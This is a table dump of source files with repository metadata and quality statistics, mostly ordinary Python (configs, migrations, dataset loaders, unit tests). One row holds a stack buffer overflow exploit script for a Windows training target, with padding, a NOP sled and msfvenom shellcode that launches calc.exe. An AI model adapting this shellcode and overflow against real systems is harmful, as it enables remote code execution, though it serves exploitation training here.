hexsha string | size int64 | ext string | lang string | max_stars_repo_path string | max_stars_repo_name string | max_stars_repo_head_hexsha string | max_stars_repo_licenses list | max_stars_count int64 | max_stars_repo_stars_event_min_datetime string | max_stars_repo_stars_event_max_datetime string | max_issues_repo_path string | max_issues_repo_name string | max_issues_repo_head_hexsha string | max_issues_repo_licenses list | max_issues_count int64 | max_issues_repo_issues_event_min_datetime string | max_issues_repo_issues_event_max_datetime string | max_forks_repo_path string | max_forks_repo_name string | max_forks_repo_head_hexsha string | max_forks_repo_licenses list | max_forks_count int64 | max_forks_repo_forks_event_min_datetime string | max_forks_repo_forks_event_max_datetime string | content string | avg_line_length float64 | max_line_length int64 | alphanum_fraction float64 | qsc_code_num_words_quality_signal int64 | qsc_code_num_chars_quality_signal float64 | qsc_code_mean_word_length_quality_signal float64 | qsc_code_frac_words_unique_quality_signal float64 | qsc_code_frac_chars_top_2grams_quality_signal float64 | qsc_code_frac_chars_top_3grams_quality_signal float64 | qsc_code_frac_chars_top_4grams_quality_signal float64 | qsc_code_frac_chars_dupe_5grams_quality_signal float64 | qsc_code_frac_chars_dupe_6grams_quality_signal float64 | qsc_code_frac_chars_dupe_7grams_quality_signal float64 | qsc_code_frac_chars_dupe_8grams_quality_signal float64 | qsc_code_frac_chars_dupe_9grams_quality_signal float64 | qsc_code_frac_chars_dupe_10grams_quality_signal float64 | qsc_code_frac_chars_replacement_symbols_quality_signal float64 | qsc_code_frac_chars_digital_quality_signal float64 | qsc_code_frac_chars_whitespace_quality_signal float64 | qsc_code_size_file_byte_quality_signal float64 | qsc_code_num_lines_quality_signal float64 | qsc_code_num_chars_line_max_quality_signal float64 | qsc_code_num_chars_line_mean_quality_signal float64 | qsc_code_frac_chars_alphabet_quality_signal float64 | qsc_code_frac_chars_comments_quality_signal float64 | qsc_code_cate_xml_start_quality_signal float64 | qsc_code_frac_lines_dupe_lines_quality_signal float64 | qsc_code_cate_autogen_quality_signal float64 | qsc_code_frac_lines_long_string_quality_signal float64 | qsc_code_frac_chars_string_length_quality_signal float64 | qsc_code_frac_chars_long_word_length_quality_signal float64 | qsc_code_frac_lines_string_concat_quality_signal float64 | qsc_code_cate_encoded_data_quality_signal float64 | qsc_code_frac_chars_hex_words_quality_signal float64 | qsc_code_frac_lines_prompt_comments_quality_signal float64 | qsc_code_frac_lines_assert_quality_signal float64 | qsc_codepython_cate_ast_quality_signal float64 | qsc_codepython_frac_lines_func_ratio_quality_signal float64 | qsc_codepython_cate_var_zero_quality_signal bool | qsc_codepython_frac_lines_pass_quality_signal float64 | qsc_codepython_frac_lines_import_quality_signal float64 | qsc_codepython_frac_lines_simplefunc_quality_signal float64 | qsc_codepython_score_lines_no_logic_quality_signal float64 | qsc_codepython_frac_lines_print_quality_signal float64 | qsc_code_num_words int64 | qsc_code_num_chars int64 | qsc_code_mean_word_length int64 | qsc_code_frac_words_unique null | qsc_code_frac_chars_top_2grams int64 | qsc_code_frac_chars_top_3grams int64 | qsc_code_frac_chars_top_4grams int64 | qsc_code_frac_chars_dupe_5grams int64 | qsc_code_frac_chars_dupe_6grams int64 | qsc_code_frac_chars_dupe_7grams int64 | qsc_code_frac_chars_dupe_8grams int64 | qsc_code_frac_chars_dupe_9grams int64 | qsc_code_frac_chars_dupe_10grams int64 | qsc_code_frac_chars_replacement_symbols int64 | qsc_code_frac_chars_digital int64 | qsc_code_frac_chars_whitespace int64 | qsc_code_size_file_byte int64 | qsc_code_num_lines int64 | qsc_code_num_chars_line_max int64 | qsc_code_num_chars_line_mean int64 | qsc_code_frac_chars_alphabet int64 | qsc_code_frac_chars_comments int64 | qsc_code_cate_xml_start int64 | qsc_code_frac_lines_dupe_lines int64 | qsc_code_cate_autogen int64 | qsc_code_frac_lines_long_string int64 | qsc_code_frac_chars_string_length int64 | qsc_code_frac_chars_long_word_length int64 | qsc_code_frac_lines_string_concat null | qsc_code_cate_encoded_data int64 | qsc_code_frac_chars_hex_words int64 | qsc_code_frac_lines_prompt_comments int64 | qsc_code_frac_lines_assert int64 | qsc_codepython_cate_ast int64 | qsc_codepython_frac_lines_func_ratio int64 | qsc_codepython_cate_var_zero int64 | qsc_codepython_frac_lines_pass int64 | qsc_codepython_frac_lines_import int64 | qsc_codepython_frac_lines_simplefunc int64 | qsc_codepython_score_lines_no_logic int64 | qsc_codepython_frac_lines_print int64 | effective string | hits int64 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
8063e0f9e8314e7b71a6e2cec16cfaccbfe18bd0 | 109 | py | Python | osf/files/addons-figshare-local.py | sifulan-access-federation/helm-charts | ea6a36cedc0e5743d6b04440816c9dd8071a23e2 | [
"Apache-2.0"
] | null | null | null | osf/files/addons-figshare-local.py | sifulan-access-federation/helm-charts | ea6a36cedc0e5743d6b04440816c9dd8071a23e2 | [
"Apache-2.0"
] | null | null | null | osf/files/addons-figshare-local.py | sifulan-access-federation/helm-charts | ea6a36cedc0e5743d6b04440816c9dd8071a23e2 | [
"Apache-2.0"
] | null | null | null | import os
CLIENT_ID = os.environ['FIGSHARE_CLIENT_ID']
CLIENT_SECRET = os.environ['FIGSHARE_CLIENT_SECRET']
| 21.8 | 52 | 0.807339 | 16 | 109 | 5.125 | 0.4375 | 0.195122 | 0.414634 | 0.560976 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.082569 | 109 | 4 | 53 | 27.25 | 0.82 | 0 | 0 | 0 | 0 | 0 | 0.366972 | 0.201835 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
807e1c6ce129ce7d3f85467e149c3c71f4dedd72 | 131 | py | Python | openmdao.lib/src/openmdao/lib/optproblems/api.py | swryan/OpenMDAO-Framework | f50d60e1a8cadac7fe03d26ffad5fb660b2a15ec | [
"Apache-2.0"
] | null | null | null | openmdao.lib/src/openmdao/lib/optproblems/api.py | swryan/OpenMDAO-Framework | f50d60e1a8cadac7fe03d26ffad5fb660b2a15ec | [
"Apache-2.0"
] | null | null | null | openmdao.lib/src/openmdao/lib/optproblems/api.py | swryan/OpenMDAO-Framework | f50d60e1a8cadac7fe03d26ffad5fb660b2a15ec | [
"Apache-2.0"
] | null | null | null | from sellar import SellarProblem, SellarProblemWithDeriv
from branin import BraninProblem
from scalable import UnitScalableProblem
| 32.75 | 56 | 0.89313 | 13 | 131 | 9 | 0.692308 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.099237 | 131 | 3 | 57 | 43.666667 | 0.991525 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
8096bef2e9077cf716f619d4354bb03e2f73337b | 855 | py | Python | liquid/filters/shopify.py | victorbnl/liquidpy | 56eee6c4cb1e0548655a8cb74d6424c1311740e0 | [
"Apache-2.0"
] | null | null | null | liquid/filters/shopify.py | victorbnl/liquidpy | 56eee6c4cb1e0548655a8cb74d6424c1311740e0 | [
"Apache-2.0"
] | null | null | null | liquid/filters/shopify.py | victorbnl/liquidpy | 56eee6c4cb1e0548655a8cb74d6424c1311740e0 | [
"Apache-2.0"
] | null | null | null | """Provides shopify filters"""
from .manager import FilterManager
# pylint: disable=invalid-name
shopify_filter_manager = FilterManager()
# TODO: color filters
# https://shopify.dev/api/liquid/filters/color-filters
# TODO: font filters
# https://shopify.dev/api/liquid/filters/font-filters
# TODO: html filters
# h... | 24.428571 | 59 | 0.764912 | 114 | 855 | 5.719298 | 0.22807 | 0.165644 | 0.26227 | 0.303681 | 0.52454 | 0.52454 | 0.52454 | 0 | 0 | 0 | 0 | 0 | 0.092398 | 855 | 34 | 60 | 25.147059 | 0.840206 | 0.845614 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.029412 | 0 | 1 | 0 | false | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 5 |
80a78d49d50f5dbf481498776b33b45ca0f0ee2b | 11,651 | py | Python | src/datasets_util.py | ZHAOZHIHAO/ClusterRouting | ce0a7cbe73656956bcbfbfab53c023c1fb2bd5c6 | [
"MIT"
] | null | null | null | src/datasets_util.py | ZHAOZHIHAO/ClusterRouting | ce0a7cbe73656956bcbfbfab53c023c1fb2bd5c6 | [
"MIT"
] | null | null | null | src/datasets_util.py | ZHAOZHIHAO/ClusterRouting | ce0a7cbe73656956bcbfbfab53c023c1fb2bd5c6 | [
"MIT"
] | 1 | 2021-12-20T09:01:28.000Z | 2021-12-20T09:01:28.000Z | from __future__ import print_function
import os
import numpy as np
import torch
from torchvision import datasets, transforms
from .smallnorb_dataset_helper import smallnorb, smallnorb_equivariance
from .utils import random_split, CustomDataset
def get_dataset(args):
if args.dataset == "cifar10":
... | 67.738372 | 153 | 0.662089 | 1,379 | 11,651 | 5.313996 | 0.107324 | 0.097025 | 0.082151 | 0.036845 | 0.84839 | 0.788892 | 0.737445 | 0.710562 | 0.697735 | 0.677948 | 0 | 0.030816 | 0.234057 | 11,651 | 171 | 154 | 68.134503 | 0.790341 | 0.192601 | 0 | 0.515625 | 0 | 0 | 0.071734 | 0.014944 | 0 | 0 | 0 | 0 | 0 | 1 | 0.007813 | false | 0 | 0.054688 | 0 | 0.109375 | 0.054688 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
80bf26fda5440db731ea38340214db74c817d602 | 57 | py | Python | app/src/services/__init__.py | avillia/weatheRESTua | a532d83b6ddc0f17c10820b24a539ef0541d5667 | [
"MIT"
] | null | null | null | app/src/services/__init__.py | avillia/weatheRESTua | a532d83b6ddc0f17c10820b24a539ef0541d5667 | [
"MIT"
] | null | null | null | app/src/services/__init__.py | avillia/weatheRESTua | a532d83b6ddc0f17c10820b24a539ef0541d5667 | [
"MIT"
] | null | null | null | from .weather_fetcher import obtain_weather_for_5_cities
| 28.5 | 56 | 0.912281 | 9 | 57 | 5.222222 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.018868 | 0.070175 | 57 | 1 | 57 | 57 | 0.867925 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
80e574fa35b80a3cf008c4a9d5e7a452cbbf8210 | 123,684 | py | Python | pythermiagenesis/const.py | CJNE/pythermiagenesis | 650fcc51f3711174a3453754296b936d3a572187 | [
"MIT"
] | 5 | 2021-09-15T08:14:41.000Z | 2022-01-28T13:08:44.000Z | pythermiagenesis/const.py | CJNE/pythermiagenesis | 650fcc51f3711174a3453754296b936d3a572187 | [
"MIT"
] | 1 | 2022-03-13T08:30:29.000Z | 2022-03-13T09:09:03.000Z | pythermiagenesis/const.py | CJNE/pythermiagenesis | 650fcc51f3711174a3453754296b936d3a572187 | [
"MIT"
] | null | null | null | """Constants for ThermiaGenesis integration."""
KEY_ATTRIBUTES = 'attributes'
KEY_ADDRESS = 'address'
KEY_RANGES = 'ranges'
KEY_SCALE = 'scale'
KEY_REG_TYPE = 'register_type'
KEY_BITS = 'bits'
KEY_DATATYPE = 'datatype'
TYPE_BIT = 'bit'
TYPE_INT = 'int'
TYPE_UINT = 'uint'
TYPE_LONG = 'long'
TYPE_STATUS = 'status'
REG_... | 91.482249 | 174 | 0.826995 | 18,984 | 123,684 | 4.738464 | 0.026759 | 0.043622 | 0.048358 | 0.06272 | 0.968351 | 0.909899 | 0.826358 | 0.7121 | 0.65107 | 0.606125 | 0 | 0.023664 | 0.107564 | 123,684 | 1,351 | 175 | 91.549963 | 0.791294 | 0.002134 | 0 | 0.001494 | 0 | 0 | 0.145854 | 0.143115 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.005975 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
80e8381e1f08972412cca2b5414f5a8d2edd1fd3 | 1,497 | py | Python | 1-stack-overflows/dostackbufferoverflowgood/exploit.py | anvbis/windows-exp | 309eba877737a21c88cd2e4aa3bed7741560b53c | [
"MIT"
] | null | null | null | 1-stack-overflows/dostackbufferoverflowgood/exploit.py | anvbis/windows-exp | 309eba877737a21c88cd2e4aa3bed7741560b53c | [
"MIT"
] | null | null | null | 1-stack-overflows/dostackbufferoverflowgood/exploit.py | anvbis/windows-exp | 309eba877737a21c88cd2e4aa3bed7741560b53c | [
"MIT"
] | null | null | null | #!/usr/bin/env python3
from pwn import *
padding = b'\x41' * 146
nops = b'\x90' * 128
# msfvenom -p windows/exec -b '\x00\x0a' -f python CMD=calc.exe
shellcode = b""
shellcode += b"\xba\xe8\x19\x31\x9d\xda\xda\xd9\x74\x24\xf4\x5e\x2b"
shellcode += b"\xc9\xb1\x31\x83\xc6\x04\x31\x56\x0f\x03\x56\xe7\xfb"
shellcode... | 39.394737 | 68 | 0.691383 | 304 | 1,497 | 3.404605 | 0.611842 | 0.173913 | 0.025121 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.228364 | 0.081496 | 1,497 | 37 | 69 | 40.459459 | 0.524364 | 0.061456 | 0 | 0 | 0 | 0.607143 | 0.64454 | 0.628123 | 0 | 1 | 0.007138 | 0 | 0 | 1 | 0 | false | 0 | 0.035714 | 0 | 0.035714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
03ca8ab2cb645498a2e00809af8cd082eaf5d4dd | 903 | py | Python | project/program/migrations/0012_auto_20210309_1705.py | ElinaSyr/tedxntua2021 | 883137a128e87ae2458aba419e364f606806da77 | [
"MIT"
] | 1 | 2020-11-29T23:58:23.000Z | 2020-11-29T23:58:23.000Z | project/program/migrations/0012_auto_20210309_1705.py | ElinaSyr/tedxntua2021 | 883137a128e87ae2458aba419e364f606806da77 | [
"MIT"
] | 6 | 2020-11-30T00:42:13.000Z | 2022-02-10T11:51:39.000Z | project/program/migrations/0012_auto_20210309_1705.py | ElinaSyr/tedxntua2021 | 883137a128e87ae2458aba419e364f606806da77 | [
"MIT"
] | 4 | 2020-11-29T23:59:41.000Z | 2020-12-04T19:06:18.000Z | # Generated by Django 2.2.17 on 2021-03-09 15:05
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('program', '0011_auto_20210309_1703'),
]
operations = [
migrations.RemoveField(
model_name='activity',
name='image_alt',
... | 23.763158 | 48 | 0.541528 | 80 | 903 | 5.875 | 0.4125 | 0.268085 | 0.331915 | 0.382979 | 0.670213 | 0.670213 | 0.670213 | 0.670213 | 0 | 0 | 0 | 0.054608 | 0.351052 | 903 | 37 | 49 | 24.405405 | 0.74744 | 0.050941 | 0 | 0.774194 | 1 | 0 | 0.188304 | 0.026901 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.032258 | 0 | 0.129032 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
03d2dc8335ed786bb278a3196885b91127c62c24 | 163 | py | Python | allennlp_models/tagging/predictors/sentence_tagger.py | matt-peters/allennlp-models | cdd505ed539fdc2b82e4cc0a23eae4bfd3368e7e | [
"Apache-2.0"
] | 402 | 2020-03-11T22:58:35.000Z | 2022-03-29T09:05:27.000Z | allennlp_models/tagging/predictors/sentence_tagger.py | matt-peters/allennlp-models | cdd505ed539fdc2b82e4cc0a23eae4bfd3368e7e | [
"Apache-2.0"
] | 116 | 2020-03-11T01:26:57.000Z | 2022-03-25T13:03:56.000Z | allennlp_models/tagging/predictors/sentence_tagger.py | matt-peters/allennlp-models | cdd505ed539fdc2b82e4cc0a23eae4bfd3368e7e | [
"Apache-2.0"
] | 140 | 2020-03-11T00:51:35.000Z | 2022-03-29T09:05:36.000Z | from allennlp.predictors.sentence_tagger import SentenceTaggerPredictor # noqa: F401
# This component lives in the main repo because we need it there for tests.
| 40.75 | 85 | 0.815951 | 23 | 163 | 5.73913 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.021583 | 0.147239 | 163 | 3 | 86 | 54.333333 | 0.928058 | 0.515337 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
ff00991c6d6242f4488f04a8f707afd286b9f528 | 7,690 | py | Python | src/tests/test_ggf.py | dnf0/kcl-globalgasflaring | 6cc27d5758d4f8bc3d941c088e1a15895b71209e | [
"MIT"
] | 1 | 2019-05-16T16:53:35.000Z | 2019-05-16T16:53:35.000Z | src/tests/test_ggf.py | dabillox/kcl-globalgasflaring | 6cc27d5758d4f8bc3d941c088e1a15895b71209e | [
"MIT"
] | 3 | 2021-09-08T03:00:42.000Z | 2022-03-12T00:54:51.000Z | src/tests/test_ggf.py | dnf0/kcl-globalgasflaring | 6cc27d5758d4f8bc3d941c088e1a15895b71209e | [
"MIT"
] | 1 | 2019-05-16T16:53:56.000Z | 2019-05-16T16:53:56.000Z | import unittest
import pandas as pd
import numpy as np
import glob
import epr
import src.utils as utils
from src.ggf.detectors import SLSDetector, ATXDetector
class MyTestCase(unittest.TestCase):
# -----------------
# unit tests
# -----------------
def test_szn_interpolation(self):
path_to_... | 35.275229 | 113 | 0.647204 | 937 | 7,690 | 5.024546 | 0.148346 | 0.079014 | 0.063721 | 0.057774 | 0.778887 | 0.760195 | 0.735344 | 0.70667 | 0.70667 | 0.691801 | 0 | 0.026827 | 0.209883 | 7,690 | 217 | 114 | 35.437788 | 0.748025 | 0.03446 | 0 | 0.593103 | 0 | 0 | 0.137847 | 0.114243 | 0 | 0 | 0 | 0.004608 | 0.103448 | 1 | 0.103448 | false | 0 | 0.048276 | 0 | 0.158621 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
ff09d902ebb19ecd36f6eb2eb32d4a504356e68b | 182 | py | Python | src/Game/__init__.py | MiguelReuter/Volley-ball-game | 67d830cc528f3540b236d8191f582adb1827dbde | [
"MIT"
] | 4 | 2019-04-15T20:39:29.000Z | 2022-02-04T10:51:37.000Z | src/Game/__init__.py | MiguelReuter/Volley-ball-game | 67d830cc528f3540b236d8191f582adb1827dbde | [
"MIT"
] | null | null | null | src/Game/__init__.py | MiguelReuter/Volley-ball-game | 67d830cc528f3540b236d8191f582adb1827dbde | [
"MIT"
] | 1 | 2019-11-30T01:05:29.000Z | 2019-11-30T01:05:29.000Z | # encoding : UTF-8
from .ball import Ball
from .character import Character, Team
import Game.character_states as CharacterStates
from .court import Court
from .ground import Ground
| 22.75 | 47 | 0.807692 | 26 | 182 | 5.615385 | 0.538462 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00641 | 0.142857 | 182 | 7 | 48 | 26 | 0.929487 | 0.087912 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 5 |
205f155c05d727aa952a4fa302c544750c089802 | 305 | py | Python | mail/mail.py | TsengWen/Weekly | 1c97b59d13692de151d09b50ab419acbf5cc64b8 | [
"Apache-2.0"
] | null | null | null | mail/mail.py | TsengWen/Weekly | 1c97b59d13692de151d09b50ab419acbf5cc64b8 | [
"Apache-2.0"
] | null | null | null | mail/mail.py | TsengWen/Weekly | 1c97b59d13692de151d09b50ab419acbf5cc64b8 | [
"Apache-2.0"
] | null | null | null | class Mail:
def __init__(self, prot, *argv):
self.prot = prot(*argv)
def login(self, account, passwd):
self.prot.login(account, passwd)
def send(self, frm, to, subject, content):
self.prot.send(frm, to, subject, content)
def quit(self):
self.prot.quit()
| 23.461538 | 49 | 0.6 | 41 | 305 | 4.365854 | 0.390244 | 0.223464 | 0.134078 | 0.212291 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.259016 | 305 | 12 | 50 | 25.416667 | 0.792035 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.444444 | false | 0.222222 | 0 | 0 | 0.555556 | 0 | 0 | 0 | 0 | null | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 5 |
2075f2dcbebfdc89ad08bf23e4875f5f5822de54 | 915 | py | Python | stone/common/errors.py | Coderhypo/booklib | cd5369f35ec666b3a864a4f1d0e7fcd8c2f64cec | [
"MIT"
] | null | null | null | stone/common/errors.py | Coderhypo/booklib | cd5369f35ec666b3a864a4f1d0e7fcd8c2f64cec | [
"MIT"
] | 1 | 2021-06-01T22:04:57.000Z | 2021-06-01T22:04:57.000Z | stone/common/errors.py | Coderhypo/booklib | cd5369f35ec666b3a864a4f1d0e7fcd8c2f64cec | [
"MIT"
] | null | null | null | class BaseError(Exception):
error_id = ""
error_msg = ""
def __repr__(self):
return "<{err_id}>: {err_msg}".format(
err_id=self.error_id,
err_msg=self.error_msg,
)
def render(self):
return dict(
error_id=self.error_id,
error_msg=s... | 20.795455 | 46 | 0.639344 | 114 | 915 | 4.631579 | 0.236842 | 0.242424 | 0.227273 | 0.170455 | 0.407197 | 0.369318 | 0.369318 | 0.369318 | 0.369318 | 0.369318 | 0 | 0 | 0.263388 | 915 | 43 | 47 | 21.27907 | 0.783383 | 0 | 0 | 0.275862 | 0 | 0 | 0.106011 | 0.052459 | 0 | 0 | 0 | 0 | 0 | 1 | 0.206897 | false | 0 | 0 | 0.068966 | 0.655172 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 5 |
208af15e7df9ad7d840515c192da8651c72f5a59 | 106 | py | Python | tests/errors/test_assign5.py | akshanshbhatt/lpython | 70fef49dbbb6cbb0447f7013231171e5c8b8e5df | [
"BSD-3-Clause"
] | 31 | 2022-01-07T23:56:33.000Z | 2022-03-29T16:09:02.000Z | tests/errors/test_assign5.py | akshanshbhatt/lpython | 70fef49dbbb6cbb0447f7013231171e5c8b8e5df | [
"BSD-3-Clause"
] | 197 | 2021-12-29T19:01:41.000Z | 2022-03-31T15:58:25.000Z | tests/errors/test_assign5.py | akshanshbhatt/lpython | 70fef49dbbb6cbb0447f7013231171e5c8b8e5df | [
"BSD-3-Clause"
] | 17 | 2022-01-06T15:34:36.000Z | 2022-03-31T13:55:33.000Z | def f():
x: list[list[i32]]
x = [[1, 2, 3]]
y: list[list[str]]
y = [['a', 'b']]
x = y
| 15.142857 | 22 | 0.349057 | 19 | 106 | 1.947368 | 0.631579 | 0.432432 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.073529 | 0.358491 | 106 | 6 | 23 | 17.666667 | 0.470588 | 0 | 0 | 0 | 0 | 0 | 0.018868 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0 | 0 | 0.166667 | 0 | 1 | 0 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
2092e7d2614e3fc29a4a727d8543ccdf2c3e0226 | 37 | py | Python | config.py | durbar/AllSpark | a29b4fa7239f812b099a14fcaab5293fcf31ab4d | [
"MIT"
] | 1 | 2019-05-09T09:28:19.000Z | 2019-05-09T09:28:19.000Z | config.py | durbar/AllSpark | a29b4fa7239f812b099a14fcaab5293fcf31ab4d | [
"MIT"
] | null | null | null | config.py | durbar/AllSpark | a29b4fa7239f812b099a14fcaab5293fcf31ab4d | [
"MIT"
] | 2 | 2019-05-09T05:58:18.000Z | 2019-07-24T12:45:01.000Z | PORT=5000
HOST='127.0.0.1'
DEBUG=True | 12.333333 | 16 | 0.72973 | 9 | 37 | 3 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.285714 | 0.054054 | 37 | 3 | 17 | 12.333333 | 0.485714 | 0 | 0 | 0 | 0 | 0 | 0.236842 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 5 |
20ce6e555908ad70425bbf644c015fb76f0ef571 | 173 | py | Python | src/routes.py | budavariam/activity-visualizer | fd77e68eb7c50f4031865257740f00c26fcb9894 | [
"MIT"
] | null | null | null | src/routes.py | budavariam/activity-visualizer | fd77e68eb7c50f4031865257740f00c26fcb9894 | [
"MIT"
] | null | null | null | src/routes.py | budavariam/activity-visualizer | fd77e68eb7c50f4031865257740f00c26fcb9894 | [
"MIT"
] | 1 | 2022-02-11T13:14:20.000Z | 2022-02-11T13:14:20.000Z | from flask import send_from_directory
from appserver import app
@app.server.route('/static/<path>')
def serve_static(path):
